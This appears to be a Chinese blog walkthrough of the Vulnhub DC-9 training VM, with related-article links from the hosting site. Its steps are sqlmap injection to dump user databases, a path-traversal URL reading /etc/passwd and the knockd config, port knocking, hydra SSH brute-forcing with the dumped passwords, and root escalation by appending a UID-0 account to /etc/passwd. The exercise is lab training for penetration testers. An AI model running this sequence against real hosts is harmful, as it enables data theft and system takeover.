看完这篇 教你玩转渗透测试靶机vulnhub——DC9

简介: 看完这篇 教你玩转渗透测试靶机vulnhub——DC9

Vulnhub靶机介绍:

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

靶机DC9 还是老样子只有拿到root权限才可以发现最终的flag。

Vulnhub靶机下载:

官网地址:https://download.vulnhub.com/dc/DC-9.zip

Vulnhub靶机安装:

下载好了把安装包解压 然后试用VMware即可。
在这里插入图片描述
在这里插入图片描述

Vulnhub靶机漏洞详解:

①:信息收集:

kali里使用netdiscover发现主机
在这里插入图片描述

使用命令: nmap -p- -A -T5 172.16.5.24

在这里插入图片描述
发现靶机开启了80端口但是22端口是关闭的 先访问一下80端口 使用插件检测一下 是不是cms 框架得网页 发现并没有什么可靠得信息。
在这里插入图片描述
在这里插入图片描述

②:SQL注入:

发现search 存在输入框 猜测存在sql注入 直接使用sqlmap 工具跑一下
在这里插入图片描述

sqlmap -u "http://172.16.5.117/results.php" --datb "search=1" -dbs #列出数据库

在这里插入图片描述

sqlmap -u "http://172.16.5.117/results.php" --data "search=1" -D users --tables ## 列出表

在这里插入图片描述

sqlmap -u "http://172.16.5.117/results.php" --data "search=1" -D users -T UserDetails --dump  #列出管理员账号密码

在这里插入图片描述
这里获取到了一些 信息 然后在跑一下 Staff 这个库

sqlmap -u "http://172.16.5.117/results.php" --data "search=1" -D Staff --tables  ##列出表

在这里插入图片描述

sqlmap -u "http://172.16.5.117/results.php" --data "search=1" -D Staff -T Users --dump #获取账号密码

在这里插入图片描述
账号密码:admintransorbital1 然后进行登入 发现登入成功!!!
在这里插入图片描述

③:文件包含:

有个提示:File does not exist 显示文件不存在 通过测试 发现 可能是文件包含漏洞发现这里得用户和刚刚数据库里的用户有些一样的

http://172.16.5.117/welcome.php?file=../../../../etc/passwd

在这里插入图片描述

④:端口敲门:

什么是端口敲门?:https://zhuanlan.zhihu.com/p/59488488

knockd 服务的默认配置路径:/etc/knockd.conf

然后使用文件包含漏洞遍历一下获取到了 敲门的密码可以这样理解 sequence = 7469,8475,9842
在这里插入图片描述
先安装 knockd服务: apt-get install knockd 然后进入配置文件进行编辑 vim /etc/knockd.conf
在这里插入图片描述
使用命令:knock 172.16.5.117 7469 8475 9842
在这里插入图片描述
发现 ssh 端口的状态是 open 打开(好像还可以用ncnmap 大家可以尝试)

⑤:hydra爆破SSH账户:

把刚刚sqlmap跑出来的账号和密码 新建两个字典 分别为usernamepasswd
在这里插入图片描述在这里插入图片描述
使用命令:hydra -L username.txt -P passwd.txt ssh://172.16.5.108
在这里插入图片描述
发现了三个用户分别是 joeyt Passw0rdjanitor Ilovepeepeechandlerb UrAG0d

使用命令:ssh joeyt@172.16.5.108 (这里ip自动获取了不用在意一样的)等三个用户都进行登入看看有没有什么隐藏的信息
在这里插入图片描述
最终在janitor 用户中 发现了一个隐藏文件.secrets-for-putin

查看获取到了一些新的用户密码信息 把刚刚获取的信息再次放入 刚刚的psswd.txt字典 再次进行爆破。
在这里插入图片描述在这里插入图片描述使用命令再次爆破:hydra -L username.txt -P passwd.txt ssh://172.16.5.108
发现一个新的用户: fredf /B4-Tru3-001 尝试登入,发现登入成功!!
在这里插入图片描述在这里插入图片描述

⑥:本地提权

sudo -l #列出权限

在这里插入图片描述进行查看发现test 是一个python 文件
在这里插入图片描述使用命令:find / -name test.py 2>/dev/null 查找python文件 进行查看
在这里插入图片描述大概的就是将参数1的内容写到参数2中然后生成一个用户

使用命令:openssl passwd -1 -salt admin 123456 创建一个admin的账号

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd #把/etc/passwd的格式修改一下 然后写入/tmp下面

在这里插入图片描述
然后运行test 使用命令:sudo ./test /tmp/passwd.txt /etc/passwd 再查看一下/etc/passwd 然后su 切换admin 用户
在这里插入图片描述
在这里插入图片描述

⑦:获取flag:

在这里插入图片描述至此获取到了flag,渗透测试结束。

Vulnhub靶机渗透总结:

**这是做的DC系列最后一个靶场了,需要注意的一些细节就是 :
1.需要注意的就是敲门服务 如果安装knockd 服务的话要修改 /etc/knockd.conf配置文件(当然好几种方法都可以)**
**2.提权的时候有很多小细节就是echo的时候 最好是单引号 因为我试了双引号开始好像不行 当然也可能是我的问题
openssl 的参数是-1 不是英文字母l 然后加密的md5 需要前面+用户名: 提权不成功的原因可能是打错 或者是/etc/pass 格式错了**

**新知识点:
①:了解了knockd 服务 默认路径:/etc/knockd.conf
②:学习了hydra 工具的使用 很方便 (工具很强!)
③:了解了Web 文件包含漏洞遍历信息的基础
④:就是/etc/passwd 的格式 这个不了解的话最好一步提权很容易错的
格式:用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
"x" 表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中
允许登入的shell就是/bin/bash禁止shell登入就是/sbin/nologin
这也是DC系列最后一个靶机的学习啦,希望大家也可以学习到新的一些知识点和一些渗透测试思路
最后创作不易 希望对大家有所帮助!!**

相关文章
|
2月前
|
安全 Linux 网络安全
Neos的渗透测试靶机练习——DC-3
Neos的渗透测试靶机练习——DC-3
31 4
|
2月前
|
安全 Shell 网络安全
Neos的渗透测试靶机练习——DC-1
Neos的渗透测试靶机练习——DC-1
37 4
|
2月前
|
Devops Shell 网络安全
Neos的渗透测试靶机练习——Wakanda
Neos的渗透测试靶机练习——Wakanda
26 2
|
2月前
|
安全 Shell 网络安全
DC-2靶机上了解和练习WordPress框架
本文介绍了在一个名为DC2的虚拟环境中进行渗透测试的过程。首先通过扫描发现SSH和Web端口,并进行全端口扫描以寻找隐藏端口。接着通过信息收集、漏洞利用(如SQL注入、文件上传漏洞等)、反弹Shell及提权等步骤逐步攻陷目标系统。文章详细描述了使用Cewl生成字典、Dirsearch扫描目录、Wpscan枚举WordPress用户等技巧,并最终通过SSH登录和Git命令实现了提权,获取多个flag。
|
3月前
|
安全 中间件 Shell
渗透测试-靶机DC-2-知识点总结
渗透测试-靶机DC-2-知识点总结
40 0
|
19天前
|
JSON Java 测试技术
SpringCloud2023实战之接口服务测试工具SpringBootTest
SpringBootTest同时集成了JUnit Jupiter、AssertJ、Hamcrest测试辅助库,使得更容易编写但愿测试代码。
52 3
|
2月前
|
JSON 算法 数据可视化
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
这篇文章是关于如何通过算法接口返回的目标检测结果来计算性能指标的笔记。它涵盖了任务描述、指标分析(包括TP、FP、FN、TN、精准率和召回率),接口处理,数据集处理,以及如何使用实用工具进行文件操作和数据可视化。文章还提供了一些Python代码示例,用于处理图像文件、转换数据格式以及计算目标检测的性能指标。
68 0
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
|
3月前
|
移动开发 JSON Java
Jmeter实现WebSocket协议的接口测试方法
WebSocket协议是HTML5的一种新协议,实现了浏览器与服务器之间的全双工通信。通过简单的握手动作,双方可直接传输数据。其优势包括极小的头部开销和服务器推送功能。使用JMeter进行WebSocket接口和性能测试时,需安装特定插件并配置相关参数,如服务器地址、端口号等,还可通过CSV文件实现参数化,以满足不同测试需求。
252 7
Jmeter实现WebSocket协议的接口测试方法
|
3月前
|
JSON 移动开发 监控
快速上手|HTTP 接口功能自动化测试
HTTP接口功能测试对于确保Web应用和H5应用的数据正确性至关重要。这类测试主要针对后台HTTP接口,通过构造不同参数输入值并获取JSON格式的输出结果来进行验证。HTTP协议基于TCP连接,包括请求与响应模式。请求由请求行、消息报头和请求正文组成,响应则包含状态行、消息报头及响应正文。常用的请求方法有GET、POST等,而响应状态码如2xx代表成功。测试过程使用Python语言和pycurl模块调用接口,并通过断言机制比对实际与预期结果,确保功能正确性。
263 3
快速上手|HTTP 接口功能自动化测试
|
3月前
|
JavaScript 前端开发 测试技术
ChatGPT与接口测试
ChatGPT与接口测试,测试通过
51 5